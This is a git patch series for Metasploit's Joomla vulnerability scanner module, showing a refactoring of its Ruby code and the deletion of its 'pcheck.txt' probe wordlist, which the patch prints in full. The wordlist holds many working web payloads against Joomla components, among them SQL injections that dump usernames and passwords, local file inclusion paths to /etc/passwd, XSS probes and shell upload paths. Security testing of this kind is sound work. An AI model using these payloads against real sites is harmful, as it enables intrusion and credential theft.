File.join(Msf::Config.install_root, "data", "wordlists", "pcheck.txt") + File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt") ] ) ], self.class) end - def osfingerprint (response) + def osfingerprint(response) if(response.headers.has_key?('Server') ) if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) os = "Windows" elsif(response.headers['Server'] =~ /Apache\// and response.headers['Server'] !~/(Win32)/) - os = "*Nix" + os = "*Nix" else os = "Unknown Server Header Reporting: "+response.headers['Server'] end @@ -52,8 +52,7 @@ class Metasploit3 < Msf::Auxiliary return os end - def fingerprint (response, app) - + def fingerprint(response, app) if(response.body =~ /(.+)<\/version\/?>/i) v = $1 out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" @@ -87,58 +86,65 @@ class Metasploit3 < Msf::Auxiliary return out end - def run_host (ip) - tpath = datastore['PATH'] - if tpath[-1,1] != '/' + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' tpath += '/' - end - apps = [ 'language/en-GB/en-GB.xml', + end + apps = [ 'languaage/en-GB/en-GB.xml', 'templates/system/css/system.css', 'media/system/js/mootools-more.js', 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] - iapps = ['robots.txt','administrator/index.php','/admin/','index.php/using-joomla/extensions/components/users-component/registration-form', + iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] - print_status("Checking Host: #{ip} for version information") + apps.each do |app| - break if check_app(tpath,app,ip) + app_status = check_app(tpath, app, ip) + return if app_status == :abort + break if app_status end - print_status("Scanning #{ip} for interesting pages") + vprint_status("#{peer} - Checking host for interesting pages") iapps.each do |iapp| scan_pages(tpath,iapp,ip) end if datastore['ENUMERATE'] - print_status("Scanning #{ip} for plugins") + vprint_status("#{peer} - Checking host for interesting plugins") bres = send_request_cgi({ 'uri' => tpath, 'method' => 'GET', }, 5) - return if not bres or not bres.body or not bres.code + return false if not bres or not bres.body or not bres.code bres.body.gsub!(/[\r|\n]/, ' ') File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| papp = bapp.chomp plugin_search(tpath,papp,ip,bres) end end - end - def check_app (tpath, app, ip) + def check_app(tpath, app, ip) res = send_request_cgi({ - 'uri' => "#{datastore['PATH']}" << app, + 'uri' => "#{tpath}" << app, 'method' => 'GET', }, 5) - return if not res or not res.body or not res.code + return :abort if res.nil? + return false if not res or not res.body or not res.code + vprint_status("#{peer} - Checking host for version information") res.body.gsub!(/[\r|\n]/, ' ') os = osfingerprint(res) - if (res.code.to_i == 200) + if (res.code == 200) out = fingerprint(res,app) return if not out if(out =~ /Unknown Joomla/) - print_error("Unable to identify Joomla Version with this file #{app}") + print_error("#{peer} - Unable to identify Joomla Version with this file #{app}") return false else - print_good("Joomla Version:#{out} from: #{app} ") - print_good("OS: #{os}") + print_good("#{peer} - Joomla Version:#{out} from: #{app} ") + print_good("#{peer} - OS: #{os}") report_note( :host => ip, :port => datastore['RPORT'], @@ -146,44 +152,50 @@ class Metasploit3 < Msf::Auxiliary :ntype => 'Joomla Version', :data => out ) - return true + return :next_app end - elsif(res.code.to_i == 403 and datastore['VERBOSE']) + elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") + vprint_status("#{ip} denied access to #{ip} (SSL Required)") elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") + vprint_status("#{ip} restricted access by IP") elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") + vprint_status("#{ip} requires a SSL client certificate") else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") end end rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort end - def scan_pages (tpath, iapp, ip) + def scan_pages(tpath, iapp, ip) res = send_request_cgi({ - 'uri' => "#{datastore['PATH']}" << iapp, + 'uri' => "#{tpath}" << iapp, 'method' => 'GET', }, 5) - return if not res or not res.body or not res.code + return false if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') - if (res.code.to_i == 200) + if (res.code == 200) if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) - sout = "Administrator Login Page" + sout = "**Administrator Login Page" elsif(res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) - sout = "Registration Page" + sout = "**Registration Page" else - sout = iapp + sout = iapp end return if not sout if(sout == iapp) - print_good("#{iapp}") - elsif print_good("#{sout}: #{iapp} ") + print_good("#{peer} - Page: #{tpath}#{iapp}") + elsif print_good("#{peer} - Page: #{tpath}#{iapp} #{sout}") report_note( :host => ip, :port => datastore['RPORT'], @@ -192,58 +204,64 @@ class Metasploit3 < Msf::Auxiliary :data => sout ) end - elsif(res.code.to_i == 403 and datastore['VERBOSE']) + elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") + vprint_status("#{ip} denied access to #{ip} (SSL Required)") elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") + vprint_status("#{ip} restricted access by IP") elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") + vprint_status("#{ip} requires a SSL client certificate") else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") end end rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort end - def plugin_search (tpath, papp, ip, bres) + def plugin_search(tpath, papp, ip, bres) res = send_request_cgi({ - 'uri' => "#{datastore['PATH']}" << papp, + 'uri' => "#{tpath}" << papp, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') osize = bres.body.size nsize = res.body.size - if (res.code.to_i == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) - print_good("Found Plugin: #{papp} ") + if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("#{peer} - Plugin: #{tpath}#{papp} ") if (papp =~/passwd/ and res.body !~/root/) - print_error("Passwd not found") + vprint_error("#{peer} - Vulnerability: LFI not found") elsif(papp =~/passwd/ and res.body =~/root/) - print_good("Passwd file found in response") + print_good("#{peer} - Vulnerability: Potential LFI") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) - print_good("Possible SQL Injection") + print_good("#{peer} - Vulnerability: Potential SQL Injection") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) - print_error("Unable to identify SQL injection") + vprint_error("#{peer} - Vulnerability: Unable to identify SQL injection") elsif(papp =~/>alert/ and res.body !~/>alert/) - print_error("No XSS") + vprint_error("#{peer} - Vulnerability: No XSS") elsif(papp =~/>alert/ and res.body =~/>alert/) - print_good("Possible XSS") + print_good("#{peer} - Vulnerability: Potential XSS") elsif(res.body =~/SQL syntax/ ) - print_good("Possible SQL Injection") + print_good("#{peer} - Vulnerability: Potential SQL Injection") elsif(papp =~/com_/) vars = papp.split('_') pages = vars[1].gsub('/','') res1 = send_request_cgi({ - 'uri' => "#{datastore['PATH']}"<<"index.php?option=com_#{pages}", + 'uri' => "#{tpath}"<<"index.php?option=com_#{pages}", 'method' => 'GET', }, 5) - if (res1.code.to_i == 200) - print_good("Found Page: index.php?option=com_#{pages}") + if (res1.code == 200) + print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") else - print_error("#{datastore['PATH']}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") + vprint_error("#{peer} - Page: #{tpath}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") end end report_note( @@ -253,21 +271,27 @@ class Metasploit3 < Msf::Auxiliary :ntype => 'Plugin Found', :data => papp ) - elsif(res.code.to_i == 403 and datastore['VERBOSE']) + elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") + vprint_status("#{ip} ip access to #{ip} (SSL Required)") elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") + vprint_status("#{ip} restricted access by IP") elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") + vprint_status("#{ip} requires a SSL client certificate") else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") end end rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort end From bf2b01f8ef53c6d185b91b071a351943e4171e92 Mon Sep 17 00:00:00 2001 From: f8lerror Date: Thu, 24 Jan 2013 09:30:04 -0500 Subject: [PATCH 022/129] Delete a file and strip space --- data/wordlists/pcheck.txt | 627 ------------------ .../auxiliary/scanner/http/joomla_vulnscan.rb | 2 +- 2 files changed, 1 insertion(+), 628 deletions(-) delete mode 100755 data/wordlists/pcheck.txt diff --git a/data/wordlists/pcheck.txt b/data/wordlists/pcheck.txt deleted file mode 100755 index b65dd2a422..0000000000 --- a/data/wordlists/pcheck.txt +++ /dev/null @@ -1,627 +0,0 @@ -&controller=../../../../../../../../../../../../[LFI]%00 -?1.5.10-x -?1.5.11-x-http_ref -?1.5.11-x-php-s3lf -?1.5.3-path-disclose -?1.5.3-spam -?1.5.8-x -?1.5.9-x -?j1012-fixate-session -?option=com_mysms&Itemid=0&task=phonebook -Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png -admin/ -administrator/ -administrator/components/ -administrator/components/com_a6mambocredits/ -administrator/components/com_a6mambohelpdesk/ -administrator/components/com_admin/admin.admin.html.php -administrator/components/com_astatspro/refer.php -administrator/components/com_bayesiannaivefilter/ -administrator/components/com_chronocontact/excelwriter/PPS/File.php -administrator/components/com_colophon/ -administrator/components/com_colorlab/ -administrator/components/com_comprofiler/ -administrator/components/com_comprofiler/plugin.class.php -administrator/components/com_cropimage/admin.cropcanvas.php -administrator/components/com_extplorer/ -administrator/components/com_feederator/includes/tmsp/add_tmsp.php -administrator/components/com_googlebase/ -administrator/components/com_installer -administrator/components/com_jcs/ -administrator/components/com_jim/ -administrator/components/com_jjgallery/ -administrator/components/com_joom12pic/ -administrator/components/com_joomla-visites/ -administrator/components/com_joomla_flash_uploader/ -administrator/components/com_joomlaflashfun/ -administrator/components/com_joomlaradiov5/ -administrator/components/com_jpack/ -administrator/components/com_jreactions/ -administrator/components/com_juser/ -administrator/components/com_admin/ -administrator/components/com_kochsuite / -administrator/components/com_linkdirectory/ -administrator/components/com_livechat/getSavedChatRooms.php -administrator/components/com_livechat/xmlhttp.php -administrator/components/com_lurm_constructor/admin.lurm_constructor.php -administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); -administrator/components/com_mambelfish/ -administrator/components/com_mgm/ -administrator/components/com_mmp/help.mmp.php -administrator/components/com_mosmedia/ -administrator/components/com_multibanners/extadminmenus.class.php -administrator/components/com_panoramic/ -administrator/components/com_peoplebook/param.peoplebook.php -administrator/components/com_phpshop/toolbar.phpshop.html.php -administrator/components/com_remository/admin.remository.php -administrator/components/com_serverstat/install.serverstat.php -administrator/components/com_simpleswfupload/uploadhandler.php"); -administrator/components/com_swmenupro/ -administrator/components/com_treeg/ -administrator/components/com_uhp/ -administrator/components/com_uhp2/ -administrator/components/com_webring/ -administrator/components/com_wmtgallery/ -administrator/components/com_wmtportfolio/ -administrator/components/com_x-shop/ -administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ -administrator/index.php?option=com_searchlog&act=log -ajaxim/ -akocomments.php -cart?Itemid=[SQLi] -component/com__brightweblinks/ -component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 -component/osproperty/?task=agent_register -component/quran/index.php?option=com_quran&action=viewayat&surano= -components/com_ clickheat/ -components/com_5starhotels/ -components/com_Jambook/jambook.php -components/com_a6mambocredits/ -components/com_a6mambohelpdesk/ -components/com_ab_gallery/ -components/com_acajoom/ -components/com_acctexp/ -components/com_aclassf/ -components/com_activities/ -components/com_actualite/ -components/com_admin/admin.admin.html.php -components/com_advancedpoll/ -components/com_agora/ -components/com_agoragroup/ -components/com_ajaxchat/ -components/com_akobook/ -components/com_akocomment/ -components/com_akogallery -components/com_alberghi/ -components/com_allhotels/ -components/com_alphacontent/ -components/com_altas/ -components/com_amocourse/ -components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php -components/com_articles/ -components/com_artist/ -components/com_artlinks/ -components/com_asortyment/ -components/com_astatspro/ -components/com_awesom/ -components/com_babackup/ -components/com_banners/ -components/com_bayesiannaivefilter/ -components/com_be_it_easypartner/ -components/com_beamospetition/ -components/com_biblestudy/ -components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 -components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 -components/com_blog/ -components/com_bookflip/ -components/com_bookjoomlas/ -components/com_booklibrary/ -components/com_books/ -components/com_bsadv/ -components/com_bsq_sitestats/ -components/com_bsq_sitestats/external/rssfeed.php -components/com_bsqsitestats/ -components/com_calendar/ -components/com_camelcitydb2/ -components/com_candle/ -components/com_casino_blackjack/ -components/com_casino_videopoker/ -components/com_casinobase/ -components/com_catalogproduction/ -components/com_catalogshop/ -components/com_category/ -components/com_cgtestimonial/video.php?url="> -components/com_chronocontact/excelwriter/PPS/File.php -components/com_cinema/ -components/com_clasifier/ -components/com_classifieds/ -components/com_clickheat/ -components/com_cloner/ -components/com_cmimarketplace/ -components/com_cms/ -components/com_colophon/ -components/com_colorlab/ -components/com_competitions/ -components/com_comprofiler/ -components/com_comprofiler/plugin.class.php -components/com_contactinfo/ -components/com_content/ -components/com_cpg/cpg.php -components/com_cropimage/admin.cropcanvas.php -components/com_custompages/ -components/com_cx/ -components/com_d3000/ -components/com_dadamail/ -components/com_dailymessage/ -components/com_datsogallery/ -components/com_dbquery/ -components/com_detail/ -components/com_digistore/ -components/com_directory/ -components/com_djiceshoutbox/ -components/com_doc/ -components/com_downloads/ -components/com_ds-syndicate/ -components/com_dtregister/ -components/com_dv/externals/phpupload/upload.php"); -components/com_easybook/ -components/com_emcomposer/ -components/com_equotes/ -components/com_estateagent/ -components/com_eventing/ -components/com_eventlist/ -components/com_events/ -components/com_ewriting/ -components/com_expose/uploadimg.php -components/com_expshop/ -components/com_extcalendar/ -components/com_extcalendar/cal_popup.php?extmode=view&extid= -components/com_extcalendar/extcalendar.php -components/com_extended_registration/registration_detailed.inc.php -components/com_extplorer/ -components/com_ezine/ -components/com_ezstore/ -components/com_facileforms/ -components/com_fantasytournament/ -components/com_faq/ -components/com_feederator/includes/tmsp/add_tmsp.php -components/com_filebase/ -components/com_filiale/ -components/com_flashfun/ -components/com_flashmagazinedeluxe/ -components/com_flippingbook/ -components/com_flyspray/startdown.php -components/com_fm/fm.install.php -components/com_foevpartners/ -components/com_football/ -components/com_formtool/ -components/com_forum/ -components/com_fq/ -components/com_fundraiser/ -components/com_galeria/ -components/com_galleria/galleria.html.php -components/com_gallery/ -components/com_game/ -components/com_gameq/ -components/com_garyscookbook/ -components/com_genealogy/ -components/com_geoboerse/ -components/com_gigcal/ -components/com_gmaps/ -components/com_googlebase/ -components/com_gsticketsystem/ -components/com_guide/ -components/com_hashcash/server.php -components/com_hbssearch/ -components/com_hello_world/ -components/com_hotproperties/ -components/com_hotproperty/ -components/com_hotspots/ -components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php -components/com_hwdvideoshare/ -components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); -components/com_ice/ -components/com_idoblog/ -components/com_idvnews/ -components/com_ignitegallery/ -components/com_ijoomla_archive/ -components/com_ijoomla_rss/ -components/com_inter/ -components/com_ionfiles/ -components/com_is/ -components/com_ixxocart/ -components/com_jabode/ -components/com_jashowcase/ -components/com_jb2/ -components/com_jce/ -components/com_jcs/ -components/com_jd-wiki/ -components/com_jd-wp/ -components/com_jim/ -components/com_jjgallery/ -components/com_jmovies/ -components/com_jobline/ -components/com_jombib/ -components/com_joobb/ -components/com_jooget/ -components/com_joom12pic/ -components/com_joomla-visites/ -components/com_joomla_flash_uploader/ -components/com_joomlaboard/ -components/com_joomladate/ -components/com_joomlaflashfun/ -components/com_joomlalib/ -components/com_joomlaradiov5/ -components/com_joomlavvz/ -components/com_joomlaxplorer/ -components/com_joomloads/ -components/com_joomradio/ -components/com_joomtracker/ -components/com_joovideo/ -components/com_jotloader/ -components/com_journal/ -components/com_jpack/ -components/com_jpad/ -components/com_jreactions/ -components/com_jreviews/scripts/xajax.inc.php -components/com_jumi/ -components/com_juser/ -components/com_jvideo/ -components/com_k2/ -components/com_kbase/ -components/com_knowledgebase/fckeditor/fckeditor.js -components/com_kochsuite / -components/com_kunena/ -components/com_letterman/ -components/com_lexikon/ -components/com_linkdirectory/ -components/com_listoffreeads/ -components/com_livechat/getSavedChatRooms.php -components/com_livechat/xmlhttp.php -components/com_liveticker/ -components/com_lm/ -components/com_lmo/ -components/com_loudmounth/includes/abbc/abbc.class.php -components/com_loudmouth/ -components/com_lowcosthotels/ -components/com_lurm_constructor/admin.lurm_constructor.php -components/com_mad4joomla/ -components/com_madeira/img.php -components/com_maianmusic/ -components/com_mailarchive/ -components/com_mailto/ -components/com_mambatstaff/mambatstaff.php -components/com_mambelfish/ -components/com_mambospgm/ -components/com_mambowiki/MamboLogin.php -components/com_marketplace/ -components/com_mcquiz/ -components/com_mdigg/ -components/com_media_library/ -components/com_mediaslide/ -components/com_mezun/ -components/com_mgm/ -components/com_minibb/ -components/com_misterestate/ -components/com_mmp/help.mmp.php -components/com_model/ -components/com_moodle/moodle.php -components/com_moofaq/ -components/com_mosmedia/ -components/com_mospray/scripts/admin.php -components/com_mosres/ -components/com_most/ -components/com_mp3_allopass/ -components/com_mtree/ -components/com_mtree/img/listings/o/{id}.php -components/com_multibanners/extadminmenus.class.php -components/com_myalbum/ -components/com_mycontent/ -components/com_mydyngallery/ -components/com_mygallery/ -components/com_n-forms/ -components/com_na_content/ -components/com_na_mydocs/ -components/com_na_newsdescription/ -components/com_na_qforms/ -components/com_neogallery/ -components/com_neorecruit/ -components/com_neoreferences/ -components/com_netinvoice/ -components/com_news/ -components/com_news_portal/ -components/com_newsflash/ -components/com_nfn_addressbook/ -components/com_nicetalk/ -components/com_noticias/ -components/com_omnirealestate/ -components/com_omphotogallery/ -components/com_ongumatimesheet20/ -components/com_onlineflashquiz/ -components/com_ownbiblio/ -components/com_panoramic/ -components/com_paxgallery/ -components/com_paxxgallery/ -components/com_pcchess/ -components/com_pcchess/include.pcchess.php -components/com_pccookbook/ -components/com_pccookbook/pccookbook.php -components/com_peoplebook/param.peoplebook.php -components/com_performs/ -components/com_philaform/ -components/com_phocadocumentation/ -components/com_php/ -components/com_phpshop/toolbar.phpshop.html.php -components/com_pinboard/ -components/com_pms/ -components/com_poll/ -components/com_pollxt/ -components/com_ponygallery/ -components/com_portafolio/ -components/com_portfol/ -components/com_prayercenter/ -components/com_pro_desk/ -components/com_prod/ -components/com_productshowcase/ -components/com_profiler/ -components/com_projectfork/ -components/com_propertylab/ -components/com_puarcade/ -components/com_publication/ -components/com_quiz/ -components/com_rapidrecipe/ -components/com_rdautos/ -components/com_realestatemanager/ -components/com_recly/ -components/com_referenzen/ -components/com_rekry/ -components/com_remository/admin.remository.php -components/com_remository_files/file_image_14/1276100016shell.php -components/com_reporter/processor/reporter.sql.php -components/com_resman/ -components/com_restaurante/ -components/com_ricette/ -components/com_rsfiles/ -components/com_rsgallery/ -components/com_rsgallery2/ -components/com_rss/ -components/com_rssreader/ -components/com_rssxt/ -components/com_rwcards/ -components/com_school/ -components/com_search/ -components/com_sebercart/getPic.php?p=[LFD]%00 -components/com_securityimages/ -components/com_sef/ -components/com_seminar/ -components/com_serverstat/install.serverstat.php -components/com_sg/ -components/com_simple_review/ -components/com_simpleboard/ -components/com_simplefaq/ -components/com_simpleshop/ -components/com_sitemap/sitemap.xml.php -components/com_slideshow/ -components/com_smf/ -components/com_smf/smf.php -components/com_swmenupro/ -components/com_team/ -components/com_tech_article/ -components/com_thopper/ -components/com_thyme/ -components/com_tickets/ -components/com_tophotelmodule/ -components/com_tour_toto/ -components/com_trade/ -components/com_uhp/ -components/com_uhp2/ -components/com_user/controller.php -components/com_users/ -components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php -components/com_vehiclemanager/ -components/com_versioning / -components/com_videodb/core/videodb.class.xml.php -components/com_virtuemart/ -components/com_volunteer/ -components/com_vr/ -components/com_waticketsystem/ -components/com_webhosting/ -components/com_weblinks/ -components/com_webring/ -components/com_wmtgallery/ -components/com_wmtportfolio/ -components/com_x-shop/ -components/com_xevidmegahd/ -components/com_xewebtv/ -components/com_xfaq/ -components/com_xgallery/helpers/img.php?file= -components/com_xsstream-dm/ -components/com_ynews/ -components/com_yvcomment/ -components/com_zoom/classes/ -components/mod_letterman/ -components/remository/ -eXtplorer/ -easyblog/entry/uncategorized -extplorer/ -http://{target}/components/com_mtree/img/listings/o/{id}.php where {id} -includes/joomla.php -index.php/404' -index.php/?option=com_question&catID=21' and+1=0 union all -index.php/image-gallery/">/25-koala -index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 -index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view -index.php?option=com_aardvertiser&cat_name=conf&task=<= -index.php?option=com_aardvertiser&task= -index.php?option=com_abc&view=abc&letter=AS§ionid=' -index.php?option=com_advert&id=36' -index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- -index.php?option=com_alfurqan15x&action=viewayat&surano= -index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version -index.php?option=com_annonces&view=edit&Itemid=1 -index.php?option=com_articleman&task=new -index.php?option=com_bbs&bid=-1 -index.php?option=com_beamospetition&startpage=3&pet=- -index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- -index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 -index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 -index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 -index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- -index.php?option=com_chronoconnectivity&itemid=1 -index.php?option=com_chronocontact&itemid=1 -index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= -index.php?option=com_clantools&squad=1+ -index.php?option=com_clantools&task=clanwar&showgame=1+ -index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' -index.php?option=com_commedia&task=page&commpid=21 -index.php?option=com_connect&view=connect&controller= -index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ -index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_dioneformwizard&controller=[LFI]%00 -index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 -index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 -index.php?option=com_easyfaq&Itemid=1&task=view&gid= -index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ -index.php?option=com_easyfaq&task=view&contact_id= -index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= -index.php?option=com_equipment&task=components&id=45&sec_men_id= -index.php?option=com_equipment&view=details&id= -index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] -index.php?option=com_etree&view=displays&layout=category&id=[SQL] -index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] -index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 -index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- -index.php?option=com_filecabinet&task=download&cid[]=7 -index.php?option=com_firmy&task=section_show_set&Id=-1 -index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R -index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= -index.php?option=com_graphics&controller= -index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= -index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= -index.php?option=com_huruhelpdesk&view=detail -index.php?option=com_huruhelpdesk&view=detail&cid[0]= -index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 -index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 -index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 -index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 -index.php?option=com_iproperty&view=agentproperties&id= -index.php?option=com_jacomment&view= -index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 -index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 -index.php?option=com_jcommunity&controller=members&task=1' -index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 -index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 -index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 -index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 -index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) -index.php?option=com_jfuploader&Itemid= -index.php?option=com_jgen&task=view&id= -index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 -index.php?option=com_jimtawl&Itemid=12&task= -index.php?option=com_jmarket&controller=product&task=1' -index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' -index.php?option=com_jomdirectory&task=search&type=111+ -index.php?option=com_joomdle&view=detail&cat_id=1&course_id= -index.php?option=com_joomla_flash_uploader&Itemid=1 -index.php?option=com_joomleague&func=showNextMatch&p=[sqli] -index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] -index.php?option=com_joomtouch&controller= -index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 -index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 -index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users -index.php?option=com_jstore&controller=product-display&task=1' -index.php?option=com_jsubscription&controller=subscription&task=1' -index.php?option=com_jtickets&controller=ticket&task=1' -index.php?option=com_konsultasi&act=detail&sid= -index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en -index.php?option=com_kunena&func=userlist&search= -index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' -index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- -index.php?option=com_matamko&controller= -index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm -index.php?option=com_neorecruit&task=offer_view&id= -index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- -index.php?option=com_noticeboard&controller= -index.php?option=com_obsuggest&controller= -index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- -index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- -index.php?option=com_oziogallery&Itemid= 